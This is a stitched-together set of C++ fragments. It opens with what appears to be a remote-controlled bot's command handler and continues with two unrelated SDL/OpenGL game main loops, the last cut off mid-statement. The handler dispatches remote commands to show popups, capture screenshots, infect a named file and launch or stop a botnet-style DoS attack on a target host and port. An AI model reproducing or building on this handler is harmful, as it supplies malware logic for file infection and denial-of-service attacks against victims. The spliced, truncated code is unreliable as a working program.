bool XShellProcess::ExecuteShellByCore(char *cmd) { CubeGrammarSentence sen; char MSG[1024]; m_Lexer.SortText(cmd); unsigned int SenType; SenType=m_Grammar.GetNextInstr(sen); if (SenType==GRAMMAR_SENTENCE_UNKNOW||SenType==GRAMMAR_SENTENCE_END) { return false; } if(SenType==m_Shell_Msg) { m_MessageBox.Show(sen.GetBlockString(1)); G_RemoteFrameWork.OnShellRespones("弹窗已显示"); return true; } if (SenType==m_Shell_activateCMD) { ActivateCMD(); return true; } if (SenType==m_Shell_screenShot) { ScreenCapture(sen.GetBlockString(1)); G_RemoteFrameWork.OnShellRespones("已截屏"); return true; } if (SenType==m_Shell_Infect) { XInfester_InfectFile(sen.GetBlockString(1)); G_RemoteFrameWork.OnShellRespones("目标文件已感染"); return true; } if (SenType==m_Shell_Dos) { m_Ddos.Attack(sen.GetBlockString(1),atoi(sen.GetBlockString(2)),atoi(sen.GetBlockString(3)),atoi(sen.GetBlockString(4))); sprintf(MSG,"傀儡Dos攻击已经开始:Target %s Port: %s Time:%s ms Power: %s", sen.GetBlockString(1),sen.GetBlockString(2),sen.GetBlockString(3),sen.GetBlockString(4)); G_RemoteFrameWork.OnShellRespones(MSG); return true; } if (SenType==m_Shell_DosStop) { m_Ddos.stop(); G_RemoteFrameWork.OnShellRespones("傀儡Dos攻击已经停止"); } return false; }
int main( int argc, char **argv ) { MemStartCheck(); { char* test = new char[16]; delete [] test; } SDL_Surface *surface = 0; // SDL initialization steps. if ( SDL_Init( SDL_INIT_VIDEO | SDL_INIT_NOPARACHUTE | SDL_INIT_TIMER | SDL_INIT_AUDIO | SDL_INIT_JOYSTICK ) < 0 ) { fprintf( stderr, "SDL initialization failed: %s\n", SDL_GetError( ) ); exit( 1 ); } SDL_EnableKeyRepeat( 0, 0 ); SDL_EnableUNICODE( 1 ); const SDL_version* sversion = SDL_Linked_Version(); GLOUTPUT(( "SDL: major %d minor %d patch %d\n", sversion->major, sversion->minor, sversion->patch )); SDL_GL_SetAttribute( SDL_GL_DOUBLEBUFFER, 1 ); SDL_GL_SetAttribute( SDL_GL_RED_SIZE, 8); SDL_GL_SetAttribute( SDL_GL_GREEN_SIZE, 8); SDL_GL_SetAttribute( SDL_GL_BLUE_SIZE, 8); SDL_GL_SetAttribute( SDL_GL_ALPHA_SIZE, 8); if ( multisample ) { SDL_GL_SetAttribute( SDL_GL_MULTISAMPLEBUFFERS, 1 ); SDL_GL_SetAttribute( SDL_GL_MULTISAMPLESAMPLES, multisample ); } int videoFlags = SDL_OPENGL; /* Enable OpenGL in SDL */ videoFlags |= SDL_GL_DOUBLEBUFFER; /* Enable double buffering */ if ( fullscreen ) videoFlags |= SDL_FULLSCREEN; else videoFlags |= SDL_RESIZABLE; #ifdef TEST_ROTATION screenWidth = SCREEN_WIDTH; screenHeight = SCREEN_HEIGHT; #else screenWidth = SCREEN_HEIGHT; screenHeight = SCREEN_WIDTH; #endif if ( argc == 3 ) { screenWidth = atoi( argv[1] ); screenHeight = atoi( argv[2] ); if ( screenWidth <= 0 ) screenWidth = IPOD_SCREEN_WIDTH; if ( screenHeight <= 0 ) screenHeight = IPOD_SCREEN_HEIGHT; } // Note that our output surface is rotated from the iPod. //surface = SDL_SetVideoMode( IPOD_SCREEN_HEIGHT, IPOD_SCREEN_WIDTH, 32, videoFlags ); surface = SDL_SetVideoMode( screenWidth, screenHeight, 32, videoFlags ); GLASSERT( surface ); int stencil = 0; int depth = 0; SDL_GL_GetAttribute( SDL_GL_STENCIL_SIZE, &stencil ); glGetIntegerv( GL_DEPTH_BITS, &depth ); GLOUTPUT(( "SDL surface created. w=%d h=%d bpp=%d stencil=%d depthBits=%d\n", surface->w, surface->h, surface->format->BitsPerPixel, stencil, depth )); /* Verify there is a surface */ if ( !surface ) { fprintf( stderr, "Video mode set failed: %s\n", SDL_GetError( ) ); exit( 1 ); } SDL_JoystickEventState(SDL_ENABLE); SDL_Joystick* joystick = SDL_JoystickOpen(0); if ( joystick ) { GLOUTPUT(( "Joystick '%s' open.\n", SDL_JoystickName(0) )); } int r = glewInit(); GLASSERT( r == GL_NO_ERROR ); // Calling this seems to confuse my ATI driver and cause lag / event back up? //#ifdef TEST_FULLSPEED // wglSwapIntervalEXT( 0 ); // vsync //#else // wglSwapIntervalEXT( 1 ); // vsync //#endif const unsigned char* vendor = glGetString( GL_VENDOR ); const unsigned char* renderer = glGetString( GL_RENDERER ); const unsigned char* version = glGetString( GL_VERSION ); GLOUTPUT(( "OpenGL vendor: '%s' Renderer: '%s' Version: '%s'\n", vendor, renderer, version )); Audio_Init(); bool done = false; bool zooming = false; SDL_Event event; float yRotation = 45.0f; grinliz::Vector2I mouseDown = { 0, 0 }; grinliz::Vector2I prevMouseDown = { 0, 0 }; U32 prevMouseDownTime = 0; int zoomX = 0; int zoomY = 0; void* game = 0; bool mapMakerMode = false; WIN32_FIND_DATA findFileData; HANDLE h; h = FindFirstFile( ".\\mods\\*.xwdb", &findFileData ); if ( h != INVALID_HANDLE_VALUE ) { BOOL findResult = TRUE; while( findResult && nModDB < GAME_MAX_MOD_DATABASES ) { grinliz::GLString* str = new grinliz::GLString( ".\\mods\\" ); str->append( findFileData.cFileName ); databases[nModDB++] = str; GameAddDatabase( str->c_str() ); findResult = FindNextFile( h, &findFileData ); } FindClose( h ); } if ( argc > 3 ) { // -- MapMaker -- // Engine::mapMakerMode = true; TileSetDesc desc; desc.set = "FARM"; desc.size = 16; desc.type = "TILE"; desc.variation = 0; if ( argc > 2 ) { desc.set = argv[2]; GLASSERT( strlen( desc.set ) == 4 ); } if ( argc > 3 ) { desc.size = atol( argv[3] ); GLASSERT( desc.size == 16 || desc.size == 32 || desc.size == 48 || desc.size == 64 ); } if ( argc > 4 ) { desc.type = argv[4]; GLASSERT( strlen( desc.type ) == 4 ); } if ( argc > 5 ) { desc.variation = atol( argv[5] ); GLASSERT( desc.variation >= 0 && desc.variation < 100 ); } game = new Game( screenWidth, screenHeight, rotation, ".\\resin\\", desc ); mapMakerMode = true; } else { game = NewGame( screenWidth, screenHeight, rotation, ".\\", tvMode ); } #if SEND_CRASH_LOGS // Can't call this until after the game is created! if ( !SettingsManager::Instance()->GetSuppressCrashLog() ) { // Check for a "didn't crash" file. FILE* fp = fopen( "UFO_Running.txt", "r" ); if ( fp ) { fseek( fp, 0, SEEK_END ); long len = ftell( fp ); if ( len > 1 ) { // Wasn't deleted. PostCurrentGame(); } fclose( fp ); } } { FILE* fp = fopen( "UFO_Running.txt", "w" ); if ( fp ) { fprintf( fp, "Game running." ); fclose( fp ); } } #endif #ifndef TEST_FULLSPEED SDL_TimerID timerID = SDL_AddTimer( TIME_BETWEEN_FRAMES, TimerCallback, 0 ); #endif bool L2Down = false; bool R2Down = false; grinliz::Vector2F joystickAxis[2] = { 0, 0 }; // ---- Main Loop --- // #ifdef TEST_FULLSPEED while ( !done ) { if ( SDL_PollEvent( &event ) ) #else while ( !done && SDL_WaitEvent( &event ) ) #endif { // The user event shouldn't be duplicated...if there are 2, pull out the dupe. if ( event.type == SDL_USEREVENT ) { SDL_Event e; while( true ) { int n = SDL_PeepEvents( &e, 1, SDL_PEEKEVENT, SDL_ALLEVENTS ); if ( n == 1 && e.type == SDL_USEREVENT ) { SDL_PeepEvents( &e, 1, SDL_GETEVENT, SDL_ALLEVENTS ); } else { break; } } } switch( event.type ) { case SDL_VIDEORESIZE: screenWidth = event.resize.w; screenHeight = event.resize.h; surface = SDL_SetVideoMode( screenWidth, screenHeight, 32, videoFlags ); GameDeviceLoss( game ); GameResize( game, event.resize.w, event.resize.h, rotation ); break; /* A: 0 Triggers: axis=2 X: 2 Y: 3 B: 1 L1: 4 R1: 5 */ case SDL_JOYBUTTONDOWN: case SDL_JOYBUTTONUP: //GLOUTPUT(( "Button %d.\n", event.jbutton.button )); switch( event.jbutton.button ) { case 0: GameJoyButton( game, GAME_JOY_BUTTON_DOWN, event.type == SDL_JOYBUTTONDOWN ); break; case 1: GameJoyButton( game, GAME_JOY_BUTTON_RIGHT, event.type == SDL_JOYBUTTONDOWN ); break; case 2: GameJoyButton( game, GAME_JOY_BUTTON_LEFT, event.type == SDL_JOYBUTTONDOWN ); break; case 3: GameJoyButton( game, GAME_JOY_BUTTON_UP, event.type == SDL_JOYBUTTONDOWN ); break; case 4: GameJoyButton( game, GAME_JOY_L1, event.type == SDL_JOYBUTTONDOWN ); break; case 5: GameJoyButton( game, GAME_JOY_R1, event.type == SDL_JOYBUTTONDOWN ); break; } break; case SDL_JOYAXISMOTION: //GLOUTPUT(( "Axis %d to %d.\n", event.jaxis.axis, event.jaxis.value )); // axis2, posL, negR if ( event.jaxis.axis == 2 ) { int value = event.jaxis.value; static const int T = 10*1000; if ( value > 10 ) { if ( !L2Down && value > T ) { L2Down = true; GameJoyButton( game, GAME_JOY_L2, true ); } else if ( L2Down && value < T ) { L2Down = false; GameJoyButton( game, GAME_JOY_L2, false ); } } else if ( value < -10 ) { if ( !R2Down && value < -T ) { R2Down = true; GameJoyButton( game, GAME_JOY_R2, true ); } else if ( R2Down && value > -T ) { R2Down = false; GameJoyButton( game, GAME_JOY_R2, false ); } } } else { int value = event.jaxis.value; double normal = (double)value/32768.0f; int axis = -1; int stick = -1; switch( event.jaxis.axis ) { case 0: axis=0; stick=0; break; case 1: axis=1; stick=0; normal *= -1.0; break; case 3: axis=1; stick=1; normal *= -1.0f; break; case 4: axis=0; stick=1; break; default: break; } if ( axis >= 0 && stick >= 0 ) { joystickAxis[stick].X(axis) = (float)normal; } } break; case SDL_JOYHATMOTION: GameJoyDPad( game, event.jhat.value ); break; case SDL_KEYDOWN: { SDLMod sdlMod = SDL_GetModState(); if ( mapMakerMode && event.key.keysym.sym >= SDLK_0 && event.key.keysym.sym <= SDLK_9 ) { int index = 0; switch ( event.key.keysym.sym ) { case SDLK_1: index = 0; break; case SDLK_2: index = 1; break; case SDLK_3: index = 2; break; case SDLK_4: index = 3; break; case SDLK_5: index = 4; break; case SDLK_6: index = 5; break; case SDLK_7: index = 6; break; case SDLK_8: index = 7; break; case SDLK_9: index = 8; break; case SDLK_0: index = 9; break; }; const U8* light = ((Game*)game)->engine->GetMap()->DayTime() ? dayLight : nightLight; static const float INV = 1.0f/255.0f; U8 r = light[index*3+0]; U8 g = light[index*3+1]; U8 b = light[index*3+2]; if ( sdlMod & sdlMod & ( KMOD_LSHIFT | KMOD_RSHIFT ) ) { if ( index < 6 ) { // Average with shade. r = (light[index*3+0] + light[SHADE*3+0]) / 2; g = (light[index*3+1] + light[SHADE*3+1]) / 2; b = (light[index*3+2] + light[SHADE*3+2]) / 2; } else if ( index > 6 ) { // make darker (index 6 is the darkest. SHIFT does nothing.) int m = index-1; r = (light[index*3+0] + light[m*3+0]) / 2; g = (light[index*3+1] + light[m*3+1]) / 2; b = (light[index*3+2] + light[m*3+2]) / 2; } } ((Game*)game)->SetLightMap( (float)r * INV, (float)g * INV, (float)b * INV ); } switch ( event.key.keysym.sym ) { case SDLK_ESCAPE: { //int handled = GameHotKey( game, GAME_HK_BACK ); #ifdef DEBUG // only escape out in debug mode // if ( !handled ) done = true; #endif } break; case SDLK_F4: if ( sdlMod & ( KMOD_RALT | KMOD_LALT ) ) done = true; break; #ifdef SIM_GAMEPAD case SDLK_RIGHT: GameJoyDPad( game, GAME_JOY_DPAD_RIGHT ); break; case SDLK_LEFT: GameJoyDPad( game, GAME_JOY_DPAD_LEFT ); break; case SDLK_UP: GameJoyDPad( game, GAME_JOY_DPAD_UP ); break; case SDLK_DOWN: GameJoyDPad( game, GAME_JOY_DPAD_DOWN ); break; case SDLK_1: GameJoyButton( game, 1, true ); break; case SDLK_2: GameJoyButton( game, 2, true ); break; case SDLK_3: GameJoyButton( game, 3, true ); break; case SDLK_4: GameJoyButton( game, 4, true ); break; #else case SDLK_RIGHT: if ( !mapMakerMode ) { if ( sdlMod & (KMOD_RCTRL|KMOD_LCTRL) ) GameHotKey( game, GAME_HK_ROTATE_CW ); else GameHotKey( game, GAME_HK_NEXT_UNIT ); } break; case SDLK_LEFT: if ( !mapMakerMode ) { if ( sdlMod & (KMOD_RCTRL|KMOD_LCTRL) ) GameHotKey( game, GAME_HK_ROTATE_CCW ); else GameHotKey( game, GAME_HK_PREV_UNIT ); } break; #endif case SDLK_u: if ( mapMakerMode ) { ((Game*)game)->engine->camera.SetTilt( -90.0f ); ((Game*)game)->engine->camera.SetPosWC( 8.f, 90.f, 8.f ); ((Game*)game)->engine->camera.SetYRotation( 0.0f ); } else { GameHotKey( game, GAME_HK_TOGGLE_ROTATION_UI | GAME_HK_TOGGLE_NEXT_UI ); } break; case SDLK_o: if ( mapMakerMode ) { cameraIso = !cameraIso; ((Game*)game)->engine->CameraIso( cameraIso, true, (float)((Game*)game)->engine->GetMap()->Width(), (float)((Game*)game)->engine->GetMap()->Height() ); } break; case SDLK_s: if ( mapMakerMode ) { ((Game*)game)->SuppressText( true ); } GameDoTick( game, SDL_GetTicks() ); SDL_GL_SwapBuffers(); if ( mapMakerMode ) { ((Game*)game)->SuppressText( false ); } ScreenCapture( "cap" ); break; case SDLK_l: if ( mapMakerMode ) { const Surface* lightmap = ((Game*)game)->engine->GetMap()->GetLightMap(); SaveLightMap( lightmap ); } break; case SDLK_d: GameHotKey( game, GAME_HK_TOGGLE_DEBUG_TEXT ); break; case SDLK_DELETE: if ( mapMakerMode ) ((Game*)game)->DeleteAtSelection(); break; case SDLK_KP9: if ( mapMakerMode ) ((Game*)game)->RotateSelection( -1 ); break; case SDLK_r: case SDLK_KP7: if ( mapMakerMode ) ((Game*)game)->RotateSelection( 1 ); break; case SDLK_KP8: if ( mapMakerMode ) ((Game*)game)->DeltaCurrentMapItem(16); break; case SDLK_KP5: if ( mapMakerMode ) ((Game*)game)->DeltaCurrentMapItem(-16); break; case SDLK_KP6: if ( mapMakerMode ) ((Game*)game)->DeltaCurrentMapItem(1); break; case SDLK_KP4: if ( mapMakerMode ) ((Game*)game)->DeltaCurrentMapItem(-1); break; case SDLK_p: //if ( mapMakerMode ) { int pathing = (((Game*)game)->ShowingPathing() + 1) % 3; ((Game*)game)->ShowPathing( pathing ); } break; case SDLK_t: if ( mapMakerMode ) ((Game*)game)->engine->GetMap()->SetDayTime( !((Game*)game)->engine->GetMap()->DayTime() ); break; case SDLK_v: ((Game*)game)->ToggleTV(); break; case SDLK_m: if ( mapMakerMode ) ((Game*)game)->engine->EnableMetadata( !((Game*)game)->engine->IsMetadataEnabled() ); break; default: break; } /* GLOUTPUT(( "fov=%.1f rot=%.1f h=%.1f\n", game->engine.fov, game->engine.camera.Tilt(), game->engine.camera.PosWC().y )); */ } break; #ifdef SIM_GAMEPAD case SDL_KEYUP: { switch ( event.key.keysym.sym ) { case SDLK_1: GameJoyButton( game, 1, false ); break; case SDLK_2: GameJoyButton( game, 2, false ); break; case SDLK_3: GameJoyButton( game, 3, false ); break; case SDLK_4: GameJoyButton( game, 4, false ); break; } } break; #endif case SDL_MOUSEBUTTONDOWN: { int x, y; TransformXY( event.button.x, event.button.y, &x, &y ); mouseDown.Set( event.button.x, event.button.y ); if ( event.button.button == 1 ) { GameTap( game, GAME_TAP_DOWN, x, y ); } else if ( event.button.button == 3 ) { GameTap( game, GAME_TAP_CANCEL, x, y ); zooming = true; //GameCameraRotate( game, GAME_ROTATE_START, 0.0f ); SDL_GetRelativeMouseState( &zoomX, &zoomY ); } } break; case SDL_MOUSEBUTTONUP: { int x, y; TransformXY( event.button.x, event.button.y, &x, &y ); if ( event.button.button == 3 ) { zooming = false; } if ( event.button.button == 1 ) { GameTap( game, GAME_TAP_UP, x, y ); } } break; case SDL_MOUSEMOTION: { SDL_GetRelativeMouseState( &zoomX, &zoomY ); int state = SDL_GetMouseState(NULL, NULL); int x, y; TransformXY( event.button.x, event.button.y, &x, &y ); if ( state & SDL_BUTTON(1) ) { GameTap( game, GAME_TAP_MOVE, x, y ); } else if ( zooming && (state & SDL_BUTTON(3)) ) { float deltaZoom = 0.01f * (float)zoomY; GameZoom( game, GAME_ZOOM_DISTANCE, deltaZoom ); GameCameraRotate( game, (float)(zoomX)*0.5f ); } else if ( ( ( state & SDL_BUTTON(1) ) == 0 ) ) { ((Game*)game)->MouseMove( x, y ); } } break; case SDL_QUIT: { done = true; } break; case SDL_USEREVENT: { glEnable( GL_DEPTH_TEST ); glDepthFunc( GL_LEQUAL ); for( int stick=0; stick<2; ++stick ) { if ( joystickAxis[stick].x || joystickAxis[stick].y ) { GameJoyStick( game, stick, joystickAxis[stick].x, joystickAxis[stick].y ); } } GameDoTick( game, SDL_GetTicks() ); SDL_GL_SwapBuffers(); int databaseID=0, size=0, offset=0; // FIXME: account for databaseID when looking up sound. while ( GamePopSound( game, &databaseID, &offset, &size ) ) { Audio_PlayWav( "./res/uforesource.db", offset, size ); } }; default: break; } #ifdef TEST_FULLSPEED } glEnable( GL_DEPTH_TEST ); glDepthFunc( GL_LEQUAL ); GameDoTick( game, SDL_GetTicks() ); SDL_GL_SwapBuffers(); } #else }
int main(int argc, char **argv) { MemStartCheck(); { char* test = new char[16]; delete[] test; } grinliz::TestContainers(); { grinliz::GLString releasePath; GetSystemPath(GAME_SAVE_DIR, "release_log.txt", &releasePath); SetReleaseLog(fopen(releasePath.c_str(), "w")); } GLOUTPUT_REL(("Altera startup. version'%s'\n", VERSION)); SDL_version compiled; SDL_version linked; SDL_VERSION(&compiled); SDL_GetVersion(&linked); GLOUTPUT_REL(("SDL version compiled: %d.%d.%d\n", compiled.major, compiled.minor, compiled.patch)); GLOUTPUT_REL(("SDL version linked: %d.%d.%d\n", linked.major, linked.minor, linked.patch)); GLASSERT((linked.major == compiled.major && linked.minor == compiled.minor)); // SDL initialization steps. if (SDL_Init(SDL_INIT_VIDEO | SDL_INIT_NOPARACHUTE | SDL_INIT_TIMER | SDL_INIT_AUDIO | SDL_INIT_EVENTS) < 0) { fprintf(stderr, "SDL initialization failed: %s\n", SDL_GetError()); exit(1); } // OpenGL 4.3 provides full compatibility with OpenGL ES 3.0. SDL_GL_SetAttribute(SDL_GL_DOUBLEBUFFER, 1); SDL_GL_SetAttribute(SDL_GL_RED_SIZE, 8); SDL_GL_SetAttribute(SDL_GL_GREEN_SIZE, 8); SDL_GL_SetAttribute(SDL_GL_BLUE_SIZE, 8); SDL_GL_SetAttribute(SDL_GL_ALPHA_SIZE, 8); SDL_GL_SetAttribute(SDL_GL_STENCIL_SIZE, 8); #ifdef DEBUG #if 0 // I was hoping to get to Angle on intel - may still be able to. But // as is this gets HW mode, which crashes in a function that should // be supported. The Intel drivers are so terrible. As of this writing, // you can't specify the DX version of ES: // http://forums.libsdl.org/viewtopic.php?t=9770&highlight=angle+opengl SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_ES); SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3); // driver supports 2 and 3. Both crash. SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 0); #endif #if 0 // 3.0 context. SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3); SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 0); #endif #if 0 // The trickier 3.2 context. // No GL_QUADs anymore. // All the attributes need to be floats. // No ALPHA textures. SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3); SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 2); #endif #if 0 // In theory the minimum supported version: // has instancing, and modern shader syntax SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3); SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 3); #endif #if 0 SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3); SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 0); #endif #endif if (multisample) { SDL_GL_SetAttribute(SDL_GL_MULTISAMPLEBUFFERS, 1); SDL_GL_SetAttribute(SDL_GL_MULTISAMPLESAMPLES, multisample); } SDL_DisplayMode displayMode; SDL_GetCurrentDisplayMode(0, &displayMode); int screenX = displayMode.w / 8; int screenY = displayMode.h / 8; int screenWidth = displayMode.w * 3 / 4; int screenHeight = displayMode.h * 3 / 4; if (argc == 3) { screenWidth = atoi(argv[1]); screenHeight = atoi(argv[2]); if (screenWidth <= 0) screenWidth = SCREEN_WIDTH; if (screenHeight <= 0) screenHeight = SCREEN_HEIGHT; } restoreWidth = screenWidth; restoreHeight = screenHeight; SDL_Window *screen = SDL_CreateWindow("Altera", screenX, screenY, screenWidth, screenHeight, /*SDL_WINDOW_FULLSCREEN | */ SDL_WINDOW_OPENGL | SDL_WINDOW_RESIZABLE); GLASSERT(screen); SDL_GL_CreateContext(screen); int stencil = 0; int depth = 0; CHECK_GL_ERROR; SDL_GL_GetAttribute(SDL_GL_STENCIL_SIZE, &stencil); SDL_GL_GetAttribute(SDL_GL_DEPTH_SIZE, &depth); glGetError(); // the above stencil/depth query sometimes does throw an error. glGetError(); // 2 queries, 2 errors. CHECK_GL_ERROR; GLOUTPUT_REL(("SDL screen created. stencil=%d depthBits=%d\n", stencil, depth)); /* Verify there is a surface */ if (!screen) { fprintf(stderr, "Video mode set failed: %s\n", SDL_GetError()); exit(1); } CHECK_GL_ERROR; glewExperimental = GL_TRUE; int r = glewInit(); GLASSERT(r == GL_NO_ERROR); (void)r; while (glGetError() != GL_NO_ERROR) { // around again } CHECK_GL_ERROR; const unsigned char* vendor = glGetString(GL_VENDOR); const unsigned char* renderer = glGetString(GL_RENDERER); const unsigned char* version = glGetString(GL_VERSION); GLOUTPUT_REL(("OpenGL vendor: '%s' Renderer: '%s' Version: '%s'\n", vendor, renderer, version)); CHECK_GL_ERROR; bool done = false; bool zooming = false; SDL_Event event; grinliz::Vector2I mouseDown = { 0, 0 }; grinliz::Vector2I rightMouseDown = { 0, 0 }; int zoomX = 0; int zoomY = 0; // Used to compute fingers close, but problems: // - really to the OS to do that, because of all the tuning // - the coordinates are in windows normalized, so can't get the physical distance reliably. //bool fingersClose = true; int nFingers = 0; void* game = NewGame(screenWidth, screenHeight, 0); int modKeys = SDL_GetModState(); U32 tickTimer = 0, lastTick = 0, thisTick = 0; #ifdef OUTPUT_MOUSE_AND_TOUCH int value = GetSystemMetrics(SM_DIGITIZER); if (value & NID_INTEGRATED_TOUCH) GLOUTPUT(("NID_INTEGRATED_TOUCH\n")); if (value & NID_MULTI_INPUT) GLOUTPUT(("NID_MULTI_INPUT\n")); if (value & NID_READY) GLOUTPUT(("NID_READY\n")); #endif grinliz::Vector2F multiTouchStart = { 0, 0 }; // ---- Main Loop --- // while (!done) { while (SDL_PollEvent(&event)) { switch (event.type) { case SDL_WINDOWEVENT: if (event.window.event == SDL_WINDOWEVENT_RESIZED) { screenWidth = event.window.data1; screenHeight = event.window.data2; GameDeviceLoss(game); GameResize(game, screenWidth, screenHeight, 0); } break; case SDL_KEYUP: switch (event.key.keysym.scancode) { case SDL_SCANCODE_LCTRL: modKeys = modKeys & (~KMOD_LCTRL); break; case SDL_SCANCODE_RCTRL: modKeys = modKeys & (~KMOD_RCTRL); break; case SDL_SCANCODE_LSHIFT: modKeys = modKeys & (~KMOD_LSHIFT); break; case SDL_SCANCODE_RSHIFT: modKeys = modKeys & (~KMOD_RSHIFT); break; default: break; } break; case SDL_KEYDOWN: { // sym or scancode? I used a dvorak keyboard, so appreciate // every day the difference. However, AWSD support is the // primary thing so scancode is hopefully the better choice. switch (event.key.keysym.scancode) { case SDL_SCANCODE_LCTRL: modKeys = modKeys | KMOD_LCTRL; break; case SDL_SCANCODE_RCTRL: modKeys = modKeys | KMOD_RCTRL; break; case SDL_SCANCODE_LSHIFT: modKeys = modKeys | KMOD_LSHIFT; break; case SDL_SCANCODE_RSHIFT: modKeys = modKeys | KMOD_RSHIFT; break; case SDL_SCANCODE_F4: { int sdlMod = SDL_GetModState(); if (sdlMod & (KMOD_RALT | KMOD_LALT)) done = true; } break; case SDL_SCANCODE_ESCAPE: GameHotKey(game, GAME_HK_ESCAPE); break; case SDL_SCANCODE_SPACE: GameHotKey(game, GAME_HK_TOGGLE_PAUSE); break; case SDL_SCANCODE_RETURN: GameHotKey(game, GAME_HK_DEBUG_ACTION); break; case SDL_SCANCODE_F1: GameHotKey(game, GAME_HK_TOGGLE_DEBUG_TEXT); break; case SDL_SCANCODE_F2: GameHotKey(game, GAME_HK_TOGGLE_DEBUG_UI); break; // F3: screenshot case SDL_SCANCODE_TAB: GameHotKey(game, GAME_HK_CAMERA_TOGGLE); break; case SDL_SCANCODE_HOME: GameHotKey(game, GAME_HK_CAMERA_CORE); break; case SDL_SCANCODE_END: GameHotKey(game, GAME_HK_CAMERA_AVATAR); break; case SDL_SCANCODE_PAGEUP: GameHotKey(game, GAME_HK_TELEPORT_AVATAR); break; //case SDLK_a: reserved case SDL_SCANCODE_B: GameHotKey(game, GAME_HK_CHEAT_GOLD); break; case SDL_SCANCODE_C: GameHotKey(game, GAME_HK_ATTACH_CORE); break; //case SDLK_d: reserved case SDL_SCANCODE_E: GameHotKey(game, GAME_HK_CHEAT_ELIXIR); break; case SDL_SCANCODE_H: GameHotKey(game, GAME_HK_TOGGLE_PATHING); break; case SDL_SCANCODE_I: GameHotKey(game, GAME_HK_TOGGLE_AI_DEBUG); break; case SDL_SCANCODE_K: GameHotKey(game, GAME_HK_CHEAT_CRYSTAL); break; case SDL_SCANCODE_M: GameHotKey(game, GAME_HK_MAP); break; case SDL_SCANCODE_P: GameHotKey(game, GAME_HK_TOGGLE_PERF); break; case SDL_SCANCODE_Q: GameHotKey(game, GAME_HK_CHEAT_HERD); break; //case SDLK_s: reserved case SDL_SCANCODE_T: GameHotKey(game, GAME_HK_CHEAT_TECH); break; case SDL_SCANCODE_U: GameHotKey(game, GAME_HK_TOGGLE_UI); break; //case SDLK_w: reserved case SDL_SCANCODE_1: GameHotKey(game, GAME_HK_TOGGLE_GLOW); break; case SDL_SCANCODE_2: GameHotKey(game, GAME_HK_TOGGLE_PARTICLE); break; case SDL_SCANCODE_3: GameHotKey(game, GAME_HK_TOGGLE_VOXEL); break; case SDL_SCANCODE_4: GameHotKey(game, GAME_HK_TOGGLE_SHADOW); break; case SDL_SCANCODE_5: GameHotKey(game, GAME_HK_TOGGLE_BOLT); break; case SDL_SCANCODE_F3: GameDoTick(game, SDL_GetTicks()); SDL_GL_SwapWindow(screen); ScreenCapture(); break; case SDL_SCANCODE_F11: { if (fullscreen) { // SDL_RestoreWindow doesn't seem to work as I expect. SDL_SetWindowFullscreen(screen, 0); SDL_SetWindowSize(screen, restoreWidth, restoreHeight); fullscreen = false; } else { restoreWidth = screenWidth; restoreHeight = screenHeight; SDL_SetWindowFullscreen(screen, SDL_WINDOW_FULLSCREEN_DESKTOP); fullscreen = true; } } break; default: break; } } break; case SDL_MOUSEBUTTONDOWN: { int x = event.button.x; int y = event.button.y; int mod = 0; if (modKeys & (KMOD_LSHIFT | KMOD_RSHIFT)) mod = GAME_TAP_MOD_SHIFT; else if (modKeys & (KMOD_LCTRL | KMOD_RCTRL)) mod = GAME_TAP_MOD_CTRL; if (nFingers > 1) { // do nothing } else if (event.button.button == SDL_BUTTON_LEFT) { #ifdef OUTPUT_MOUSE_AND_TOUCH GLOUTPUT(("Left mouse down %d %d\n", x, y)); #endif mouseDown.Set(event.button.x, event.button.y); GameTap(game, GAME_TAP_DOWN, x, y, mod); } else if (event.button.button == SDL_BUTTON_RIGHT) { #ifdef OUTPUT_MOUSE_AND_TOUCH GLOUTPUT(("Right mouse down %d %d\n", x, y)); #endif GameTap(game, GAME_TAP_CANCEL, x, y, mod); rightMouseDown.Zero(); if (mod == 0) { rightMouseDown.Set(event.button.x, event.button.y); GameCameraPan(game, GAME_PAN_START, float(x), float(y)); } else if (mod == GAME_TAP_MOD_CTRL) { zooming = true; //GameCameraRotate( game, GAME_ROTATE_START, 0.0f ); SDL_GetRelativeMouseState(&zoomX, &zoomY); } } } break; case SDL_MOUSEBUTTONUP: { int x = event.button.x; int y = event.button.y; if (event.button.button == SDL_BUTTON_RIGHT) { #ifdef OUTPUT_MOUSE_AND_TOUCH GLOUTPUT(("Right mouse up %d %d\n", x, y)); #endif zooming = false; if (!rightMouseDown.IsZero()) { GameCameraPan(game, GAME_PAN_END, float(x), float(y)); rightMouseDown.Zero(); } } if (event.button.button == SDL_BUTTON_LEFT) { if (!mouseDown.IsZero()) { // filter out mouse events that become finger events. #ifdef OUTPUT_MOUSE_AND_TOUCH GLOUTPUT(("Left mouse up %d %d\n", x, y)); #endif int mod = 0; if (modKeys & (KMOD_LSHIFT | KMOD_RSHIFT)) mod = GAME_TAP_MOD_SHIFT; else if (modKeys & (KMOD_LCTRL | KMOD_RCTRL)) mod = GAME_TAP_MOD_CTRL; GameTap(game, GAME_TAP_UP, x, y, mod); } } } break; case SDL_MOUSEMOTION: { SDL_GetRelativeMouseState(&zoomX, &zoomY); int state = event.motion.state; int x = event.motion.x; int y = event.motion.y; int mod = 0; if (modKeys & (KMOD_LSHIFT | KMOD_RSHIFT)) mod = GAME_TAP_MOD_SHIFT; else if (modKeys & (KMOD_LCTRL | KMOD_RCTRL)) mod = GAME_TAP_MOD_CTRL; if (nFingers > 1) { // Do nothing. // Multi touch in progress. } else if (state & SDL_BUTTON(SDL_BUTTON_LEFT)) { if (!mouseDown.IsZero()) { #ifdef OUTPUT_MOUSE_AND_TOUCH GLOUTPUT(("Left Mouse move %d %d\n", x, y)); #endif GameTap(game, GAME_TAP_MOVE, x, y, mod); // mouseMoveCount = 0; } } else if (!rightMouseDown.IsZero()) { GLASSERT(state & 